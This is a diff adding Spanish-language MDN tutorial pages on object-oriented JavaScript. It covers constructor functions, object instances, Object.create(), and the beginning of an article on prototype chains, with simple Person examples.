+translation_of: Learn/JavaScript/Objects/Object-oriented_JS
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/JavaScript/Objects/Basics", "Learn/JavaScript/Objects/Object_prototypes", "Learn/JavaScript/Objects")}}</div>
+
+<p class="summary">Con lo básico fuera del camino, nos enfocaremos en Javascript Orientado a Objetos (JSOO) — este artículo presenta una descripción básica de la teoría de la Programación Orientada a Objetos (POO), luego explora cómo Javascript emula classes de objetos via funciones constructoras, y cómo crea instancias de objetos.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisitos:</th>
+   <td>Conocimientos básicos de computación, entendimiento básico de HTML y CSS, familiaridad con las bases de Javascript (ver <a href="/es/docs/Learn/JavaScript/First_steps">Primeros pasos con JavaScript</a> y <a href="/es/docs/Learn/JavaScript/Building_blocks">Bloques de construcción JavaScript</a>) y las bases de JSOO (ver <a href="/es/docs/Learn/JavaScript/Objects/Basics">Introducción a objetos</a>).</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>
+    <p>Entender la teoría base de la programación orientada a objetos, como se relaciona esta con JavaScript ("todo es un objeto"), y como crear constructores e instacias de objetos.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Programacion_Orientada_a_Objetos—_lo_básico">Programacion Orientada a Objetos— lo básico</h2>
+
+<p>Para empezar, daremos una descripción simple y de alto nivel acerca de lo que es la Programación Orientada a Objetos (POO). Decimos simple, porque la POO puede volverse complicada rápidamente, y darte un tratamiento completo ahora, probablemente podría confundirte más que ayudar. La idea básica de la POO es que usamos objetos para modelar cosas del mundo real que queremos representar en nuestros programas, y/o proveemos una simple manera para acceder a la funcionalidad que, de otra manera, sería difícil o imposible de usar.</p>
+
+<p>Los objetos pueden contener información y código relacionados, los cuales representan información acerca de lo que estás tratando de modelar, y la funcionalidad o comportamiento que deseas que tenga.  Los datos de un Objeto (y frecuentemente, también las funciones) se pueden almacenar ordenadamente (la palabra oficial es <strong>encapsular</strong>) dentro del paquete de un objeto (al que se puede asignar un nombre específico, llamado a veces <strong>espacio de nombres</strong>), haciéndolo fácil de estructurar y acceder; los objetos también se usan comúnmente como almacenes de datos que se pueden enviar fácilmente a través de la red.</p>
+
+<h3 id="Definiendo_una_plantilla_de_objeto">Definiendo una plantilla de objeto</h3>
+
+<p>Vamos a considerar un sencillo programa que muestra información sobre estudiantes y profesores en una escuela. Aquí daremos un vistazo a la POO (Programación Orientada a Objetos) en general, no en el contexto de algún lenguaje de programación específico.</p>
+
+<p>Para empezar, podríamos volver a ver al objeto <code>Persona</code> de nuestro <a href="/es/docs/Learn/JavaScript/Objects/Basics">artículo de primeros objetos</a>, que define los datos generales y funcionalidades de una persona. Hay muchas cosas que podrías saber acerca de una persona (su dirección, estatura, tamaño de calzado, perfil de ADN, número de pasaporte, rasgos significativos de su personalidad...), pero, en este caso, solo estamos interesados en mostrar su nombre, edad, género e intereses, además de una pequeña introducción sobre este individuo basada en los datos anteriores. También queremos que sea capaz de saludar. </p>
+
+<p>Esto es conocido como <strong>abstracción</strong> —  crear un modelo simple de algo complejo que represente sus aspectos más importantes y que sea fácil de manipular para el propósito de nuestro programa.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13889/person-diagram.png" style="display: block; height: 219px; margin: 0px auto; width: 610px;"></p>
+
+<p>En algunos lenguajes de POO, esta definición de tipo de objeto se la llama <strong>class </strong>(JavaScript utiliza diferentes mecanismos y terminologías, como verás a continuación) — esto no es en realidad un objeto, en vez de esto es un modelo que define las características que un objeto debería tener.</p>
+
+<h3 id="Creando_objetos">Creando objetos</h3>
+
+<p>Partiendo de nuestra clase, podemos crear <strong>instancias de objetos</strong> — objetos que contienen los datos y funcionalidades definidas en la clase original. Teniendo a nuestra clase <code>Persona</code>, ahora podemos crear gente con características más específicas: </p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15163/MDN-Graphics-instantiation-2-fixed.png" style="display: block; height: 702px; margin: 0px auto; width: 695px;"></p>
+
+<p>Cuando una instancia del objeto es creada a partir de una clase, se ejecuta <strong>la función constructora </strong>(constructor en inglés) de la clase para crearla. El proceso de crear una instancia del objeto desde una clase se llama <strong>instanciación</strong>.</p>
+
+<h3 id="Clases_especializadas">Clases especializadas</h3>
+
+<p>En este caso nosotros no queremos personas genericas — queremos docentes y estudiantes, que son los dos tipos más específicos de personas. En POO, podemos crear nuevas clases basadas en otras clases, estas nuevas <strong>clases secundarias</strong> se pueden hacer para  <strong>heredar</strong> los datos y código de su <strong>clase primaria</strong>, de modo que pueden reutilizar la funcionalidad común a todos los tipos de objetos en lugar de tener que duplicarla. Cuando la funcionalidad difiere entre clases, puedes definir funciones especializadas directamente en ellas según sea necesario.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13881/MDN-Graphics-inherited-3.png" style="display: block; height: 743px; margin: 0px auto; width: 700px;"></p>
+
+<p>Esto es realmente útil, los profesores y los estudiantes comparten muchas características comunes como el nombre, el género y la edad, por lo que es conveniente tener que definir esas características solo una vez. También puedes definir la misma característica por separado en diferentes clases, ya que cada definición de esa característica estará en un espacio de nombres diferente. Por ejemplo, el saludo de un estudiante puede tener la forma "Yo, soy [Nombre]" (por ejemplo, Yo, soy Sam), mientras que un profesor puede usar algo más formal, como "Hola, mi nombre es [Prefix] [lastName], y enseño [Asunto] ". (Por ejemplo, Hola, mi nombre es Sr. Griffiths, y yo enseño Química).</p>
+
+<div class="note">
+<p><strong>Nota:  </strong>la palabra elegante para la capacidad de múltiples tipos de objetos de implementar la misma funcionalidad es <strong>polimorfismo. </strong>Por si acaso te preguntabas.</p>
+</div>
+
+<p>Ahora puedes crear instancias de objetos de las clases "hijo". Por ejemplo:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13885/MDN-Graphics-instantiation-teacher-3.png" style="display: block; height: 743px; margin: 0px auto; width: 700px;"></p>
+
+<p>En el resto del articulo, comenzaremos a ver como podemos practicar la teoría de POO en JavaScript.</p>
+
+<h2 id="Constructores_e_instancias_de_objetos">Constructores e instancias de objetos</h2>
+
+<p>Algunas personas sostienen que JavaScript no es un verdadero lenguaje orientado a objetos — por ejemplo, su enunciado <code><a href="/es/docs/Web/JavaScript/Reference/Statements/class">class</a></code> es sólo azúcar sintáctica sobre la herencia prototípica existente y no es una <code>class</code> en el sentido tradicional. JavaScript, utiliza funciones especiales llamadas funciones constructoras para definir objetos y sus características. Son útiles porque a menudo te encontrarás con situaciones en las que no sabes cuántos objetos crearás; los constructores proporcionan los medios para crear tantos objetos como necesites de una manera efectiva, adjuntando datos y funciones a ellos según sea necesario.</p>
+
+<p>Cuando se crea una nueva instancia del objeto a partir de una función constructora, su funcionalidad central (tal como se define en su prototipo, que exploraremos en el <a href="/es/docs/Learn/JavaScript/Objects/Object_prototypes">artículo Prototipos</a> de objetos) no se copia en el nuevo objeto como lenguajes OO "clásicos", sino que la funcionalidad está vinculada a través de una cadena de referencia llamada cadena prototipo. Así que esto no es una verdadera instanciación, estrictamente hablando, JavaScript usa un mecanismo diferente para compartir funcionalidad entre objetos.</p>
+
+<div class="note">
+<p><strong>Nota: </strong>no ser "POO clásica" no es necesariamente algo malo; Como se mencionó anteriormente, la POO puede ser muy compleja muy rápidamente, y JavaScript tiene algunas agradables formas de aprovechar las características de la OO sin tener que profundizar demasiado en ello.</p>
+</div>
+
+<p>Exploremos la creación de clases a través de constructores y la creación de instancias de objetos a partir de ellas en JavaScript. En primer lugar, nos gustaría que hicieras una nueva copia local del archivo <code>oojs.html</code> que vimos en nuestro primer artículo de Objetos.</p>
+
+<h3 id="Un_ejemplo_simple">Un ejemplo simple</h3>
+
+<ol>
+ <li>Comencemos por ver cómo puedes definir una persona con una funcion normal. Agrega esta funcion dentro del elemento <code>script</code>:
+
+  <pre class="brush: js notranslate">function createNewPerson(name) {
+  var obj = {};
+  obj.name = name;
+  obj.greeting = function() {
+    alert('Hi! I\'m ' + this.name + '.');
+  };
+  return obj;
+}</pre>
+ </li>
+ <li>Ahora puedes crear una nueva persona llamando a esta funcion — prueba con las siguientes lineas en la consola Javascript de tu navegador:
+  <pre class="brush: js notranslate">var salva = createNewPerson('Salva');
+salva.name;
+salva.greeting();</pre>
+  Esto funciona bastante bien, pero es un poco largo; si sabemos que queremos crear un objeto, ¿por qué necesitamos crear explícitamente un nuevo objeto vacío y devolverlo? Afortunadamente, JavaScript nos proporciona un práctico acceso directo, en forma de funciones constructoras — ¡hagamos una ahora!</li>
+ <li>Reemplaza tu función anterior por la siguiente:
+  <pre class="brush: js notranslate">function Person(name) {
+  this.name = name;
+  this.greeting = function() {
+    alert('Hi! I\'m ' + this.name + '.');
+  };
+}</pre>
+ </li>
+</ol>
+
+<p>La función constructora es la versión de JavaScript de una clase. Notarás que tiene todas las características que esperas en una función, aunque no devuelve nada o crea explícitamente un objeto — básicamente sólo define propiedades y métodos. Verás que la palabra clave <code>this</code> se está usando aquí también — es básicamente decir que cuando se crea una de estas instancias de objeto, la propiedad <code>name</code> del objeto será igual al valor del nombre pasado a la llamada del constructor, y el método <code>greeting()</code> usará también el valor del nombre pasado a la llamada del constructor.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Un nombre de función constructora generalmente comienza con una letra mayúscula — esta convención se utiliza para hacer que las funciones constructoras sean más fáciles de reconocer en el código.</p>
+</div>
+
+<p>Entonces, ¿cómo llamamos a un constructor para crear algunos objetos?</p>
+
+<ol>
+ <li>Agrega las siguientes líneas debajo de tu código anterior:
+  <pre class="brush: js notranslate">var person1 = new Person('Bob');
+var person2 = new Person('Sarah');</pre>
+ </li>
+ <li>Guarda el código y vuelve a cargarlo en el navegador, e intenta ingresar las siguientes líneas en la consola Javascript :
+  <pre class="brush: js notranslate">person1.name
+person1.greeting()
+person2.name
+person2.greeting()</pre>
+ </li>
+</ol>
+
+<p>¡Guaw! Ahora veras que tenemos dos nuevos objetos, cada uno de los cuales está almacenado en un espacio de nombres diferente: para acceder a sus propiedades y métodos, debes llamarlos como <code>person1</code> o  <code>person2</code>; están cuidadosamente empaquetados para que no entren en conflicto con otras funciones. Sin embargo, tienen disponible la misma propiedad name y el método <code>greeting()</code>. Ten en cuenta que están utilizando su propio <code>name</code> que se les asignó cuando se crearon; esta es una razón por la cual es muy importante usar <code>this</code>, para que usen sus propios valores, y no algún otro valor.</p>
+
+<p>Veamos nuevamente las llamadas del constructor:</p>
+
+<pre class="brush: js notranslate">var person1 = new Person('Bob');
+var person2 = new Person('Sarah');</pre>
+
+<p>En cada caso, la  palabra clave <code>new</code> se usa para indicarle al navegador que queremos crear una nueva instancia del objeto, seguida del nombre de la función con sus parámetros requeridos entre paréntesis, y el resultado se almacena en una variable — muy similar a cómo se llama a una función estándar. Cada instancia se crea de acuerdo con esta definición:</p>
+
+<pre class="brush: js notranslate">function Person(name) {
+  this.name = name;
+  this.greeting = function() {
+    alert('Hi! I\'m ' + this.name + '.');
+  };
+}</pre>
+
+<p>Una vez creados los nuevos objetos, las variables <code>person1</code> y <code>person2</code> contienen los siguientes objetos:</p>
+
+<pre class="brush: js notranslate">{
+  name: 'Bob',
+  greeting: function() {
+    alert('Hi! I\'m ' + this.name + '.');
+  }
+}
+
+{
+  name: 'Sarah',
+  greeting: function() {
+    alert('Hi! I\'m ' + this.name + '.');
+  }
+}</pre>
+
+<p>Ten en cuenta que cuando llamamos a nuestra función constructora, estamos definiendo <code>greeting()</code> cada vez, lo cual no es lo ideal. Para evitar esto, podemos definir funciones en el prototipo, que veremos más adelante.</p>
+
+<h3 id="Creando_nuestro_constructor_final">Creando nuestro constructor final</h3>
+
+<p>El ejercicio que vimos anteriormente fue solo un ejemplo simple para comenzar. Ahora crearemos nuestra función <code>constructor Person()</code> final.</p>
+
+<ol>
+ <li>Elimina el código que insertaste hasta ahora y agrega este constructor de reemplazo; este es exactamente el mismo que el ejemplo simple del principio, con un poco más de complejidad:
+  <pre class="brush: js notranslate">function Person(first, last, age, gender, interests) {
+  this.name = {
+    'first': first,
+    'last' : last
+  };
+  this.age = age;
+  this.gender = gender;
+  this.interests = interests;
+  this.bio = function() {
+    alert(this.name.first + ' ' + this.name.last + ' is ' + this.age + ' years old. He likes ' + this.interests[0] + ' and ' + this.interests[1] + '.');
+  };
+  this.greeting = function() {
+    alert('Hi! I\'m ' + this.name.first + '.');
+  };
+}</pre>
+ </li>
+ <li>Ahora, agrega la siguiente línea para crear una instancia del objeto:
+  <pre class="brush: js notranslate">var person1 = new Person('Bob', 'Smith', 32, 'male', ['music', 'skiing']);</pre>
+ </li>
+</ol>
+
+<p>Ahora verás que puedes acceder a las propiedades y métodos justo como lo hiciste anteriormente — intenta esto en tu consola JS:</p>
+
+<pre class="brush: js notranslate">person1['age']
+person1.interests[1]
+person1.bio()
+// etc.</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Si tienes problemas para lograr que funcione, puedes comparar tu código con nuestra versión — ve <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/introduction/oojs-class-finished.html">oojs-class-finished.html</a> (también lo puedes ver <a href="http://mdn.github.io/learning-area/javascript/oojs/introduction/oojs-class-finished.html">corriendo en vivo</a>).</p>
+</div>
+
+<h3 id="Ejercicios_adicionales">Ejercicios adicionales</h3>
+
+<p>Para empezar, intenta añadir un par de líneas de creación de objetos propias, y trata de obtener y asignar valores a los miembros de las instancias del objeto.</p>
+
+<p>Además, hay un par de problemas con nuestro método <code>bio()</code> — la salida siempre incluye el pronombre "He", incluso para personas de otros géneros. Y <code>bio</code> solamente incluye dos intereses, sin importar la cantidad que hay en el arreglo <code>interests</code>. ¿Podrías corregir esto en la definición de la clase (constructor)? Puedes poner cualquier código dentro de un constructor (probablemente necesites algunos condicionales y un bucle). Piensa como se deben estructurar las declaraciones dependiendo del género, y de la cantidad de intereses.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Si estás atascado, hay una <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/introduction/oojs-class-further-exercises.html">respuesta en nuestro repositorio de GitHub</a> (<a href="http://mdn.github.io/learning-area/javascript/oojs/introduction/oojs-class-further-exercises.html">see it live</a>) — igualmente ¡intentea resolverla primero!</p>
+</div>
+
+<h2 id="Otras_formas_de_crear_instancias_de_objetos">Otras formas de crear instancias de objetos</h2>
+
+<p>Hasta ahora hemos visto dos diferentes formas de crear una instancia de objeto — <a href="/es/docs/Learn/JavaScript/Objects/Basics#Object_basics">declarando un objeto literal</a>, y usando una función constructora (ver arriba).</p>
+
+<p>Esto tiene sentido, pero hay otras formas — se muestran aquí para que te vayas familiarizando en caso de encontrarte con ellas.</p>
+
+<h3 id="El_constructor_Object">El constructor Object()</h3>
+
+<p>Antes que nada, puedes usar el constructor <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object">Object()</a></code> para crear un nuevo objeto. Si, incluso objetos genéricos tienen un constructor que genera un objeto vacío.</p>
+
+<ol>
+ <li>Intenta ingresar este código en la consola JavaScript de tu navegador:
+  <pre class="brush: js notranslate">var person1 = new Object();</pre>
+ </li>
+ <li>Esto guarda un objeto vacío en la variable <code>person1</code>. Luego pueded agregar propiedades y métodos a este objeto usando la notación de punto (.) o de corchetes (['']); prueba estos ejemplos en tu consola:
+  <pre class="brush: js notranslate">person1.name = 'Chris';
+person1['age'] = 38;
+person1.greeting = function() {
+  alert('Hi! I\'m ' + this.name + '.');
+};</pre>
+ </li>
+ <li>También puedes pasar un objeto literal como parámetro al constructor <code>Object()</code>, para precargarlo con propiedades/métodos. Prueba esto en tu consola:
+  <pre class="brush: js notranslate">var person1 = new Object({
+  name: 'Chris',
+  age: 38,
+  greeting: function() {
+    alert('Hi! I\'m ' + this.name + '.');
+  }
+});</pre>
+ </li>
+</ol>
+
+<h3 id="Usando_el_método_create">Usando el método create()</h3>
+
+<p>Los constructores te pueden ayudar a ordenar tu código — puedes crear constructores en un lugar, y luego crear instancias cuando sean necesarias.</p>
+
+<p>Sin embargo, algunas personas prefieren crear instancias de objetos sin crear antes constructores, especialmente si van a crear solamente pocas instancias de un objeto.</p>
+
+<p>JavaScript tiene un método llamado <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/create">create()</a></code> que permite hacer esto. Con este método puedes crear un nuevo objeto basado en cualquier otro objeto existente.</p>
+
+<ol>
+ <li>Con tu ejercicio de la sección anterior cargado en el navegador, prueba esto en tu consola JavaScript
+  <pre class="brush: js notranslate">var person2 = Object.create(person1);</pre>
+ </li>
+ <li>Y ahora prueba esto:
+  <pre class="brush: js notranslate">person2.name
+person2.greeting()</pre>
+ </li>
+</ol>
+
+<p>Verás que <code>person2</code> fue creado basado en <code>person1 </code>— tiene las mismas propiedades y métodos.</p>
+
+<p>Una limitación del método <code>create()</code> es que no está soportado por el navegador IE8. Por lo que los constructores serán más efectivos sin necesitas soportar navegadores antiguos.</p>
+
+<p>Más tarde, exploraremos en detalle los efectos de <code>create()</code>.</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>Este artículo provee una visión simplificada de la teoría de la orientación a objetos — esta no es toda la historia, pero te da una idea de con que estamos lidiando aquí. Adicionalmente, empezamos a ver como JavaScript está relacionado y difiere de la orientación a objetos "clásica", cómo usamos funciones constructoras para implementar clases en JavaScript, y diferentes formas de generar instancias de objetos.</p>
+
+<p>En el próximo artículo, exploraremos los prototipos de objeto JavaScript.</p>
+
+<p>{{PreviousMenuNext("Learn/JavaScript/Objects/Basics", "Learn/JavaScript/Objects/Object_prototypes", "Learn/JavaScript/Objects")}}</p>
+
+<h2 id="En_este_modulo">En este modulo</h2>
+
+<ul>
+ <li><a href="/es/docs/Learn/JavaScript/Objects/Basics">Objetos básicos</a></li>
+ <li><a href="/es/docs/Learn/JavaScript/Objects/Object-oriented_JS">JavaScript orientedo a objetos para principiantes</a></li>
+ <li><a href="/es/docs/Learn/JavaScript/Objects/Object_prototypes">Prototipos de Objetos</a></li>
+ <li><a href="/es/docs/Learn/JavaScript/Objects/Inheritance">Herencia en JavaScript</a></li>
+ <li><a href="/es/docs/Learn/JavaScript/Objects/JSON">Trabajando con datos JSON</a></li>
+ <li><a href="/es/docs/Learn/JavaScript/Objects/Object_building_practice">Práctica de construcción de objetos</a></li>
+ <li><a href="/es/docs/Learn/JavaScript/Objects/Adding_bouncing_balls_features">Agregar funciones a nuestro demo de pelotas que rebotan</a></li>
+</ul>
diff --git a/files/es/learn/javascript/objects/object_prototypes/index.html b/files/es/learn/javascript/objects/object_prototypes/index.html
new file mode 100644
index 0000000000..852dd5e70e
--- /dev/null
+++ b/files/es/learn/javascript/objects/object_prototypes/index.html
@@ -0,0 +1,282 @@
+---
+title: Prototipos de objetos
+slug: Learn/JavaScript/Objects/Object_prototypes
+tags:
+  - Aprender
+  - Artículo
+  - Cadena de Prototipos
+  - Constructor
+  - JavaScript
+  - Objetos
+  - Principiante
+  - Prototipo
+  - create()
+translation_of: Learn/JavaScript/Objects/Object_prototypes
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/JavaScript/Objects/Object-oriented_JS", "Learn/JavaScript/Objects/Inheritance", "Learn/JavaScript/Objects")}}</div>
+
+<p class="summary">Los prototipos son un mecanismo mediante el cual los objetos en JavaScript heredan características entre sí. En este artículo, explicaremos como funcionan los prototipos y también cómo se pueden usar las propiedades de estos para añadir métodos a los contructores existentes.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerrequisitios:</th>
+   <td>Conocer las funciones en Javascript, conocimientos básicos de Javascript (ver <a href="/en-US/docs/Learn/JavaScript/First_steps">Primeros Pasos</a> y <a href="/en-US/docs/Learn/JavaScript/Building_blocks">Building blocks</a>) y Javascript orientado a Objetos (ver <a href="/en-US/docs/Learn/JavaScript/Object-oriented/Introduction">Introducción a Objetos</a>).</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Comprender los prototipos de objectos de Javascript, cómo funciona la cadena de prototype, y cómo añadir nuevos métodos a la propiedad prototype.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="¿Un_lenguaje_basado_en_prototipos">¿Un lenguaje basado en prototipos?</h2>
+
+<p>JavaScript es a menudo descrito como un <strong>lenguaje basado en prototipos - </strong>para proporcionar mecanismos de herencia, los objetos pueden tener un <strong>objeto prototipo</strong>, el cual actúa como un objeto plantilla que hereda métodos y propiedades.</p>
+
+<p>Un objeto prototipo del objeto puede tener a su vez otro objeto prototipo, el cual hereda métodos y propiedades, y así sucesivamente. Esto es conocido con frecuencia como la <strong>cadena de prototipos</strong>, y explica por qué objetos diferentes pueden tener disponibles propiedades y métodos definidos en otros objetos.</p>
+
+<p>Bien, para ser exactos, los métodos y propiedades son definidos en la propiedad <code>prototype</code>, que reside en la función constructora del objeto, no en la instancia misma del objeto.</p>
+
+<p>En JavaScript, se establece un enlace entre la instancia del objeto y su prototipo (su propiedad <code>__proto__,</code> la cual es derivada de la propiedad <code>prototype</code> sobre el constructor), y las propiedades y metodos son encontrados recorriendo la cadena de prototipos.</p>
+
+<p><strong>Nota:</strong> Es importante entender que, tanto el prototipo de la instancia de un objeto (al cual se accede mediante <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getPrototypeOf">Object.getPrototypeOf(obj)</a></code>, o a través de la propiedad <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/proto">__proto__</a></code>) como el prototipo que contiene el constructor (que se encuentra en la propiedad <code>prototype</code> del constructor) hacen referencia al mismo objeto.</p>
+
+<p>Vamos a echar un vistazo a algunos ejemplos para intentar aclarar estos conceptos.</p>
+
+<h2 id="Entendiendo_objectos_prototipos">Entendiendo objectos prototipos</h2>
+
+<p>Volvamos al ejemplo anterior en el que acabamos definiendo nuestro constructor <code>Person()</code> — cargue el ejemplo en su navegador. Si aún no lo tienes luego de haber trabajado el último artículo, usa nuestro ejemplo oojs-class-further-exercises.html (vea también el <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/introduction/oojs-class-further-exercises.html">código fuente</a>).</p>
+
+<p>En este ejemplo, hemos definido una función constructor, así:</p>
+
+<pre class="brush: js notranslate">function Persona(nombre, apellido, edad, genero, intereses) {
+
+  // definiendo de propiedades y métodos
+  this.first = first;
+  this.last = last;
+//...
+}
+</pre>
+
+<p>Entonces hemos creado una instancia de un objeto como este:</p>
+
+<pre class="brush: js notranslate">var person1 = new Persona('Bob', 'Smith', 32, 'hombre', ['music', 'skiing']);</pre>
+
+<p>Si escribe "person1." en su consola JavaScript, debería ver que el navegador intenta completarlo automáticamente con los nombres de miembro disponibles en este objeto:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13853/object-available-members.png" style="display: block; margin: 0 auto;"></p>
+
+<p>En esta lista, podra ver los miembros definidos en el objeto prototipo de person1, que es la Persona() (Persona() es el constructor) - nombre, edad, género, intereses, biografía y saludos. Sin embargo, también verá algunos otros miembros - watch, valueOf, etc - que están definidos en el objeto prototipo de Persona() 's, que es un Objeto (Object). Esto demuestra que el prototipo cadena funciona.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13891/MDN-Graphics-person-person-object-2.png" style="display: block; height: 150px; margin: 0px auto; width: 700px;"></p>
+
+<p>Entonces, ¿qué sucede si llama a un método en <code>person1</code>, que está definido en <code>Object</code>? Por ejemplo:</p>
+
+<pre class="brush: js notranslate">person1.valueOf()</pre>
+
+<p>Este método <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/valueOf">valueOf()</a> simplemente retornará el valor del objeto sobre el que se llama - ¡pruébalo y verás! En este caso, lo que pasa es que:</p>
+
+<ul>
+ <li>El navegador comprueba inicialmente si el objeto person1 tiene un método valueOf() disponible en él.</li>
+ <li>Si no lo hace, entonces el navegador comprueba si el objeto prototipo del objeto person1 (el prototipo del constructor de Persona()) tiene un método valueOf() disponible en él.</li>
+ <li>Si tampoco lo hace, entonces el navegador comprueba si el objeto prototipo del objeto prototipo del constructor Persona() (Objeto() prototipo del objeto prototipo del constructor) tiene un método valueOf() disponible en él. Lo hace, así que es llamado, y todo funciona!</li>
+</ul>
+
+<div class="note">
+<p><strong>Nota</strong>: Queremos reiterar que los métodos y propiedades no se copian de un objeto a otro en la cadena del prototipo. Ellos son accedidos subiendo por la cadena como se ha descrito anteriormente.</p>
+</div>
+
+<div class="note">
+<p><strong>Nota</strong>: No existe oficialmente una forma de acceder directamente al objeto prototipo de un objeto - los "enlaces" entre los elementos de la cadena están definidos en una propiedad interna, denominada [[prototipo]] en la especificación del lenguaje JavaScript (ver {{glossary("ECMAScript")}}).</p>
+
+<p>La mayoría de los navegadores modernos, sin embargo, ofrecen una propiedad disponible llamada __proto__ (es decir, 2 subrayados en cada lado), que contiene el objeto prototipo del constructor del objeto. Por ejemplo, pruebe person1.__proto__ y person1.__proto__.__proto__ para ver cómo se ve la cadena en código!</p>
+
+<p>Desde ECMAScript 2015 se puede acceder indirectamente al objeto prototipo de un objeto mediante Object.getPrototypeOf(obj).</p>
+</div>
+
+<h2 id="La_propiedad_prototype_Donde_se_definen_los_miembros_hereditarios">La propiedad prototype: Donde se definen los miembros hereditarios</h2>
+
+<p>Entonces, ¿dónde se definen las propiedades y métodos heredados? Si miras la página de referencia de <code>Object</code>, verás en la parte izquierda un gran número de propiedades y métodos - muchos más que el número de miembros heredados que vimos disponibles en el objeto <code>person1</code>. Algunos son heredados y otros no, ¿por qué?</p>
+
+<p>La respuesta es que los heredados son los que están definidos en la propiedad <code>prototype</code> (podría llamarse subespacio de nombres), es decir, los que empiezan con <code>Object.prototype</code>, y no los que empiezan sólo con <code>Object</code>. El valor de la propiedad del prototipo es un objeto, que es básicamente un repositorio(bucket) para almacenar propiedades y métodos que queremos que sean heredados por los objetos más abajo en la cadena del prototipo.</p>
+
+<p>Así que <code>Object.prototype.watch()</code>, <code>Object.prototype.valueOf()</code>, etc., están disponibles para cualquier tipo de objeto que herede de <code>Object.prototype</code>, incluyendo nuevas instancias de objeto creadas desde el constructor.</p>
+
+<p><code><a href="https://wiki.developer.mozilla.org/es/docs/Web/JavaScript/Referencia/Objetos_globales/Object/is">Object.is()</a></code>, <code><a href="https://wiki.developer.mozilla.org/es/docs/Web/JavaScript/Referencia/Objetos_globales/Object/keys">Object.keys()</a></code>, y otros miembros no definidos dentro del prototipo del repositorio(bucket) no son heredados por instancias de objeto o tipos de objeto que heredan de Object.prototype. Sino que son métodos/propiedades disponibles sólo en el propio constructor Object().</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Esto parece extraño - ¿cómo se puede tener un método definido en un constructor, que en sí mismo es una función? Bueno, una función es también un tipo de objeto - vea la referencia del constructor de Function() si no nos cree.</p>
+</div>
+
+<ol>
+ <li>Puede comprobar las propiedades de los prototipos existentes - vuelva a nuestro ejemplo anterior e intente introducir lo siguiente en la consola JavaScript:
+  <pre class="brush: js notranslate">Person.prototype</pre>
+ </li>
+ <li>El resultado no le mostrará mucho - después de todo, no hemos definido nada en el prototipo de nuestro constructor personalizado! Por defecto, el prototipo de un constructor siempre comienza vacío. Ahora intente lo siguiente:
+  <pre class="brush: js notranslate">Object.prototype</pre>
+ </li>
+</ol>
+
+<p>Verá un gran número de métodos definidos en la propiedad Prototype de Object, que están disponibles en los objetos que heredan de Object, como se ha mostrado anteriormente.</p>
+
+<p>Verá otros ejemplos de herencia de cadena de prototipos en todo JavaScript - intente buscar los métodos y propiedades definidas en el prototipo de los objetos globales String, Date, Number y Array, por ejemplo. Todos ellos tienen un número de miembros definidos en su prototipo, por lo que, por ejemplo, cuando se crea una cadena, como ésta:</p>
+
+<pre class="brush: js notranslate">var myString = 'Esto es mi String.';</pre>
+
+<p><code>myString</code> inmediatamente tiene una serie de métodos útiles disponibles en él, como <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/split">split()</a></code>, <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/indexOf">indexOf()</a></code>, <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace">replace()</a></code>, etc.</p>
+
+<div class="warning">
+<p><strong>Importante</strong>: La propiedad <code>prototype </code>es una de las partes más confusamente nombradas de JavaScript - podría pensarse que <code>this </code>apunta al objeto prototipo del objeto actual, pero no lo hace (es un objeto interno al que puede accederse mediante <code>__proto__</code>, ¿recuerda?). en su lugar, <code>prototype </code>es una propiedad que contiene un objeto en el que se definen los miembros que se desea que se hereden.</p>
+</div>
+
+<h2 id="Revisando_create">Revisando create()</h2>
+
+<p>Anteriormente mostramos cómo <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/create">Object.create()</a></code> crea una nueva instancia de objeto.</p>
+
+<ol>
+ <li>Por ejemplo, pruebe esto en la consola JavaScript de su ejemplo anterior:
+  <pre class="brush: js notranslate">var person2 = Object.create(person1);</pre>
+ </li>
+ <li>Lo que hace create() es crear un nuevo objeto a partir de un objeto prototipo específico. Aquí, la person2 se crea utilizando la person1 como objeto prototipo. Puede comprobarlo introduciendo lo siguiente en la consola:
+  <pre class="brush: js notranslate">person2.__proto__</pre>
+ </li>
+</ol>
+
+<p>Esto devolverá el objeto Persona.</p>
+
+<h2 id="La_propiedad_constructor">La propiedad constructor</h2>
+
+<p>Cada función de constructor tiene una propiedad <code>prototype</code> cuyo valor es un objeto que contiene una propiedad <code>constructor</code>. Esta propiedad <code>constructor </code>apunta a la función constructor original.</p>
+
